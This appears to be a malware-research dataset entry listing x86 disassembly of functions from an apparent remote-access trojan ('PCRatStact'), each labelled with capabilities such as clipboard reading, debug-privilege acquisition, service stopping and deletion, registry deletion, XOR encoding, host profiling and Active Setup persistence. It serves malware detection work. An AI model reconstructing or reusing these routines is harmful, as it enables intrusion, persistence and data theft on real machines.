joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009c60
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10009cf2
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x10009c91
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x77
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.10007880
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x1000a130
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push ebx
push ebp
mov ebp, dword [esp + 0x28]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov esi, ecx
je 0x1000a2e3
cmp dword [esi + 0x1c], edi
je 0x1000a2e3
call fcn.1000a6f0
lea ebx, [esi + 4]
push 1
push ebx
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.1000a530
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea ecx, [esp + 0x10]
push 8
push ecx
mov ecx, esi
call fcn.1000a530
lea edx, [esp + 0x18]
mov dword [esp + 0x18], 0x14
push edx
call dword [sym.imp.USER32.dll_GetCursorInfo]
test eax, eax
je 0x1000a1c6
cmp dword [esp + 0x1c], 1
jne 0x1000a1c6
mov ecx, dword [esp + 0x20]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x1000a1b3
inc edi
add eax, 4
cmp edi, 0x10
jl 0x1000a1a6
push ecx
call dword [sym.imp.USER32.dll_DestroyCursor]
cmp edi, 0x10
jne 0x1000a1c2
or edi, 0xffffffff
mov eax, edi
jmp 0x1000a1c9
or eax, 0xffffffff
mov byte [esp + 0x30], al
lea eax, [esp + 0x30]
push 1
push eax
mov ecx, esi
call fcn.1000a530
cmp byte [ebx], 2
jne 0x1000a231
mov eax, dword [esi + 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x44]
push ecx
mov ecx, dword [esi + 0x80]
push edx
push eax
push ecx
mov ecx, esi
call fcn.1000a730
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x20]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x60]
push eax
mov eax, dword [esi + 0x1c]
add ecx, eax
mov eax, dword [esi + 0x78]
push ecx
push edx
push eax
mov ecx, esi
call fcn.1000a790
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov dword [ebp], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
mov ecx, dword [esp + 0x14]
xor edx, edx
lea eax, [ecx - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x1001c000]
cmp ecx, eax
mov edi, edx
je 0x1000a25e
push edi
mov ecx, esi
call fcn.1000a2f0
test al, al
je 0x1000a25e
add edi, 0x13
jmp 0x1000a261
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x1000a27f
push edi
mov ecx, esi
call fcn.1000a2f0
test al, al
je 0x1000a275
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x1000a266
mov eax, dword [esp + 0x14]
mov ecx, 0x13
mov dword [0x1001c000], eax
mov eax, dword [esi + 0x30]
add eax, 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
cdq
idiv ecx
lea edi, [esi + 0x14]
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [ebp], edx
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x1000a2cc
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebp
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x1000a2bb
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret 4
Function at 0x1000a880
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000a8e0
lea ecx, [esp + 8]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
inc eax
add esp, 0x14
ret
Function at 0x1000ab10
Capabilities:
Query service configuration

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x1001541b
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push ebp
push esi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, dword [esp + 0x12c]
push 0xf01ff
push ebp
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x1000acac
push 0x1000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea eax, [esp + 0x14]
push eax
push 0x1000
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x1000acac
mov esi, dword [ebx + 0xc]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ebp + 0x1c7]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebx + 4]
mov edi, 2
cmp eax, edi
jne 0x1000abbe
mov dword [ebp + 0x2d0], edx
jmp 0x1000ac06
cmp eax, 4
jne 0x1000abcb
mov dword [ebp + 0x2d0], edi
jmp 0x1000ac06
test eax, eax
jne 0x1000abdb
mov dword [ebp + 0x2d0], 3
jmp 0x1000ac06
cmp eax, 3
jne 0x1000abec
mov dword [ebp + 0x2d0], 4
jmp 0x1000ac06
cmp eax, edx
jne 0x1000abfc
mov dword [ebp + 0x2d0], 5
jmp 0x1000ac06
mov dword [ebp + 0x2d0], 6
mov eax, dword [ebx + 0x1c]
mov esi, str.LocalSystem
mov bl, byte [eax]
mov cl, bl
cmp bl, byte [esi]
jne 0x1000ac30
test cl, cl
je 0x1000ac2c
mov bl, byte [eax + 1]
mov cl, bl
cmp bl, byte [esi + 1]
jne 0x1000ac30
add eax, edi
add esi, edi
test cl, cl
jne 0x1000ac0e
xor eax, eax
jmp 0x1000ac35
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000ac41
mov dword [ebp + 0x2d4], edx
jmp 0x1000ac47
mov dword [ebp + 0x2d4], edi
push SysStringLen
lea ecx, [esp + 0x14]
call fcn.10008540
push ebp
lea eax, [esp + 0x20]
push str.SYSTEMCurrentControlSetServices_s
push eax
mov dword [esp + 0x134], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp + 0x1c]
push ecx
lea ecx, [esp + 0x14]
call fcn.10008640
add ebp, 0xc3
lea ecx, [esp + 0x10]
push ebp
push str.Description
call fcn.100087c0
lea ecx, [esp + 0x10]
mov dword [esp + 0x128], 0xffffffff
call fcn.100085e0
pop edi
mov ecx, dword [esp + 0x11c]
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x11c
ret 4
Function at 0x1000acd0
Capabilities:
Delete service
Print debug messages
Query service status
Stop service

Disassembly:
sub esp, 0x20
push ebx
push esi
call fcn.1000a880
push 2
push 0
push 0
mov byte [esp + 0x14], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov eax, dword [esp + 0x2c]
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea ecx, [esp + 0xc]
mov esi, eax
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x10], 1
je 0x1000ad21
lea edx, [esp + 0xc]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.DeleteService
call edi
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push str._end_DeleteService
mov ebp, eax
call edi
pop edi
test ebp, ebp
pop ebp
je 0x1000ad4b
mov byte [esp + 8], 1
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, dword [esp + 8]
pop esi
and eax, 0xff
pop ebx
add esp, 0x20
ret 4

Function at 0x1000ad70
Capabilities:
Modify service

Disassembly:
push ebx
push esi
push edi
call fcn.1000a880
push 2
push 0
push 0
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
mov eax, dword [esp + 0x10]
push 0xf01ff
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov esi, eax
test esi, esi
jne 0x1000adae
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0x14]
cmp eax, 1
jne 0x1000adbe
mov eax, 2
jmp 0x1000add7
cmp eax, 2
jne 0x1000adca
mov eax, 4
jmp 0x1000add7
xor ecx, ecx
cmp eax, 4
sete cl
add ecx, 2
mov eax, ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
je 0x1000adf7
mov bl, 1
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov al, bl
pop esi
pop ebx
ret 8

Function at 0x1000ae10
Capabilities:
Query service status
Start service

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
call fcn.1000a880
push 2
push 0
push 0
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov eax, dword [esp + 0x2c]
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea ecx, [esp + 0xc]
mov esi, eax
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x10], 1
jne 0x1000ae60
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x1000ae62
mov bl, 1
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
mov al, bl
pop esi
pop ebx
add esp, 0x1c
ret 4
Function at 0x1000ae80
Capabilities:
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push ebx
push esi
call fcn.1000a880
push 2
push 0
push 0
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ecx, dword [esp + 0x28]
push 0xf01ff
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea edx, [esp + 8]
mov esi, eax
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 1
je 0x1000aed2
lea eax, [esp + 8]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
mov al, 1
jne 0x1000aed4
mov al, bl
pop esi
pop ebx
add esp, 0x1c
ret 4

Function at 0x1000aee0
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
call fcn.1000a880
push 2
push 0
push 0
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov eax, dword [esp + 0x2c]
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea ecx, [esp + 0xc]
mov esi, eax
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x10], 1
je 0x1000af2f
lea edx, [esp + 0xc]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x1000af3c
mov bl, 1
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
mov al, bl
pop esi
pop ebx
add esp, 0x1c
ret 4
Function at 0x1000b5d0
Capabilities:
Terminate thread

Disassembly:
push 0xffffffffffffffff
push 0x10015518
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x10016560
mov eax, dword [esi + 0x78]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push eax
mov dword [esp + 0x1c], 0
call edi
mov ecx, dword [esi + 0x70]
push 0
push ecx
call dword [esi + 0x54]
mov edx, dword [esi + 0x74]
push 0
push edx
call edi
mov eax, dword [esi + 0x7c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x7c]
push 0
push ecx
call edi
mov eax, dword [esi + 0x60]
test eax, eax
je 0x1000b63d
push eax
call dword [esi + 0x50]
mov eax, dword [esi + 0x64]
test eax, eax
je 0x1000b648
push eax
call dword [esi + 0x50]
mov eax, dword [esi + 0x68]
test eax, eax
je 0x1000b653
push eax
call dword [esi + 0x50]
mov eax, dword [esi + 0x6c]
test eax, eax
je 0x1000b65e
push eax
call dword [esi + 0x50]
mov edx, dword [esi + 0x60]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x64]
push eax
call edi
mov ecx, dword [esi + 0x68]
push ecx
call edi
mov edx, dword [esi + 0x6c]
push edx
call edi
mov eax, dword [esi + 0x70]
push eax
call edi
mov ecx, dword [esi + 0x74]
push ecx
call edi
mov edx, dword [esi + 0x7c]
push edx
call edi
mov eax, dword [esi + 0x78]
push eax
call edi
mov ecx, esi
mov dword [esp + 0x14], 0xffffffff
call fcn.10007850
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x1000b9f0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.1000b890
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x1000ba38
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x1000ba12
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret
Function at 0x1000bf30
Capabilities:
Get cpu information
Link many functions at runtime
Query or enumerate registry value

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
mov esi, eax
mov eax, 4
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
lea eax, [esp + 8]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 8]
push edx
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
add esp, 0x10
ret

Function at 0x1000c000
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x20
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 8]
add esp, 0x20
ret

Function at 0x1000c0b0
Capabilities:
Get hostname

Disassembly:
sub esp, 0x464
xor eax, eax
push ebx
mov ebx, dword [esp + 0x470]
push ebp
mov ebp, dword [esp + 0x478]
mov ecx, ebp
push esi
mov edx, ecx
push edi
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x74]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, str.s__secivreS_tESlortnoCtnerruCMETSYS
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x478]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
push eax
lea eax, [esp + 0x7c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
push ebp
push 0
push ebx
push 1
lea ecx, [esp + 0x94]
push str.Host
push ecx
push SysStringLen
call fcn.10007950
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x2c
push ebx
call esi
test eax, eax
jne 0x1000c171
push ebp
push ebx
call dword [sym.imp.WS2_32.dll_gethostname]
push ebx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x464
ret
Function at 0x1000c180
Capabilities:
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x1001555b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54c
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x50]
lea edx, [esp + 0x50]
rep stosd dword es:[edi], eax
mov ecx, 0x100
lea edi, [esp + 0x154]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftActive_SetupInstalled_Components_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.hapnreuc_ta8z_f5ct_p103_4rl507t9icb6
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x50]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x154]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
push edx
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 8]
push SysStringLen
call fcn.10008540
lea ecx, [esp + 0x154]
mov dword [esp + 0x55c], 0
push ecx
lea ecx, [esp + 0xc]
call fcn.10008640
mov edx, dword [esp + 0x564]
lea ecx, [esp + 8]
push edx
push str.stubpath
call fcn.100087c0
pop edi
pop esi
test eax, eax
jne 0x1000c27e
push str.Active
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [esp]
call fcn.10008680
lea ecx, [esp]
mov dword [esp + 0x554], 0xffffffff
call fcn.100085e0
mov ecx, dword [esp + 0x54c]
mov dword fs:[0], ecx
add esp, 0x558
ret
Function at 0x1000ce30
Capabilities:
Create thread
Print debug messages

Disassembly:
mov al, byte [0x1001a5db]
cmp al, 4
jne 0x1000ce9f
mov eax, dword [esp + 8]
sub eax, 0
je 0x1000ce8c
dec eax
jne 0x1000cedf
push esi
mov esi, dword [esp + 8]
mov dword [0x1001bff8], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1001bfe8], eax
call fcn.10007330
push 0
push 0
push str.PCRatStact
push 0x1000c950
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, 1
pop esi
ret 0xc
push str.DLL_PROCESS_DETACH
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, 1
ret 0xc
cmp al, 1
je 0x1000ceb8
cmp al, 2
je 0x1000ceb8
mov eax, dword [esp + 4]
mov dword [0x1001bff8], eax
mov eax, 1
ret 0xc
mov eax, dword [esp + 8]
test eax, eax
jbe 0x1000cedf
cmp eax, 2
ja 0x1000cedf
mov ecx, dword [esp + 4]
mov dword [0x1001bff8], ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1001bfe8], eax
call fcn.10007330
mov eax, 1
ret 0xc

Function at 0x1000cef0
Capabilities:
Delete registry key
Print debug messages

Disassembly:
sub esp, 0x108
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x118]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000cfb5
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebp
push 0x1001a898
call ebx
push esi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call ebp
lea ecx, [esp + 0x10]
call fcn.1000a840
push esi
lea ecx, [esp + 0x14]
call fcn.1000ae80
push esi
lea ecx, [esp + 0x14]
call fcn.1000acd0
push 0x1001a888
call ebx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x14]
push esi
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push str.SYSTEMCurrentControlSetServices_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
xor esi, esi
lea edx, [esp + 0x14]
push edx
push SysStringLen
call edi
test eax, eax
je 0x1000cfa3
push 0xc8
call ebp
inc esi
cmp esi, 0x14
jl 0x1000cf84
jmp 0x1000cfaa
push 0x1001a87c
call ebx
lea ecx, [esp + 0x10]
call fcn.1000a870
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x108
ret
Function at 0x1000cfc0
Capabilities:
Create thread

Disassembly:
mov al, byte [0x1001a5db]
push esi
cmp al, 1
je 0x1000cfd6
cmp al, 2
je 0x1000cfd6
test al, al
jne 0x1000d0c6
mov esi, dword [esp + 0xc]
push 0x104
mov eax, dword [esi]
push eax
push 0x1001c018
call dword [sym.imp.MSVCRT.dll_strncpy]
mov ecx, dword [esi]
push 0x104
push ecx
push 0x1001c018
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000d130
push 0x1001c018
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 0
push 0
push 0x1001c018
push 0x1000c840
push 0
push 0
mov dword [0x1001c00c], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [0x1001c00c]
test eax, eax
je 0x1000d0c6
push edi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push 0
push 2
call fcn.1000d0d0
push 0
push 0
push 4
call fcn.1000d0d0
push 0x1001c018
call fcn.100050c0
push 0
push 0
push 0
push 0x1001c018
push 0x1000c950
push 0
push 0
mov dword [0x1001c008], eax
call fcn.1000e920
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x38
mov edi, eax
push 0x64
call esi
mov eax, dword [0x1001c11c]
cmp eax, 3
je 0x1000d0a0
cmp eax, 1
jne 0x1000d08d
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1001c008]
pop edi
cmp eax, 0x120
jne 0x1000d0c6
push 0x2710
call esi
jmp 0x1000d0bd
pop esi
ret

Function at 0x1000d260
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push 0
mov eax, dword [esi + 0x14]
mov dword [esi], 0x10016568
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.10007850
pop esi
ret

Function at 0x1000d370
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x2c
xor eax, eax
lea ecx, [esp + 0xc]
mov dword [esp], eax
push ecx
mov dword [esp + 8], eax
mov byte [esp + 4], 3
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
lea ecx, [esp]
push 0xc
push ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 9], edx
mov dword [esp + 0xd], eax
call fcn.10007880
add esp, 0x2c
ret

Function at 0x1000d580
Capabilities:
Find taskbar

Disassembly:
push 0xffffffffffffffff
push 0x100155f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
mov esi, ecx
push eax
mov dword [esp + 8], esi
call fcn.10007800
mov al, byte [esp + 0x1c]
mov dword [esp + 0x10], 0
cmp al, 1
mov dword [esi], 0x10016588
jne 0x1000d5d8
mov ecx, esi
call fcn.1000d760
mov eax, esi
pop esi
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret 8
cmp al, 2
jne 0x1000d5c4
push edi
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
push 0
push str.Shell_TrayWnd
call edi
push 0
push str.Progman
mov dword [esi + 0x14], eax
call edi
lea ecx, [esp + 0x20]
push 1
push ecx
mov ecx, esi
mov dword [esi + 0x18], eax
mov dword [esi + 0x10], 0
mov byte [esp + 0x28], 0x80
call fcn.10007880
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8